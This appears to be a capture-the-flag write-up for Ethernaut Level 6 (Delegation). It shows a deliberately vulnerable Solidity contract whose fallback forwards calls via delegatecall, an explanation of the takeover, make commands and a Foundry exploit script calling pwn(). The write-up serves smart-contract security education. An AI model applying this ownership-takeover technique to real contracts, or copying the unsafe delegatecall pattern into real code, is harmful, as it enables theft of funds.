Level 6 - Delegation ⏺⏺

The EthernautOpenZeppelin

Level Setup

The goal of this level is for you to claim ownership of the instance you are given.

Things that might help

• Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.

• Fallback methods

• Method ids

Level Contract

ethernaut/contracts/src/levels/Delegation.sol at a89c8f7832258655c09fde16e6602c78e5e99dbd · OpenZeppelin/ethernautGitHub

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {

  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

Exploit

The contract forwards any unmatched function calls through to the Delegate contract through the fallback() function. As pwn() is only on the Delegate contract, it's as simple as calling pwn() and having it execute the function on the Delegate instead of the Delegation contract.

1. Call pwn().

Anvil

make anvil-exploit-level-6

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>

Holesky

make holesky-exploit-level-

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>

Exploit Deployment Script

https://github.com/EridianAlpha/ethernaut-foundry/blob/main/script/Level6.s.sol

script/Level6.s.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

interface IDelegate {
    function pwn() external;
}

// ================================================================
// │                        LEVEL 6 - DELEGATION                  │
// ================================================================
contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        IDelegate targetContract = IDelegate(targetContractAddress);

        vm.startBroadcast();
        // Using interface:
        targetContract.pwn();

        // Without interface:
        // targetContractAddress.call(abi.encodeWithSignature("pwn()"));

        vm.stopBroadcast();
    }
}

1. Submit instance... 🥳

Completion Message

Usage of delegatecall is particularly risky and has been used as an attack vector on multiple historic hacks. With it, your contract is practically saying "here, -other contract- or -other library-, do whatever you want with my state". Delegates have complete access to your contract's state. The delegatecall function is a powerful feature, but a dangerous one, and must be used with extreme care.

Please refer to the The Parity Wallet Hack Explained article for an accurate explanation of how this idea was used to steal 30M USD.

Notes

• delegatecall in Solidity

ethernaut-openzeppelin-hacks/level_6_Delegation.md at e936301859334383d568a614084917100319205e · nvnx7/ethernaut-openzeppelin-hacksGitHub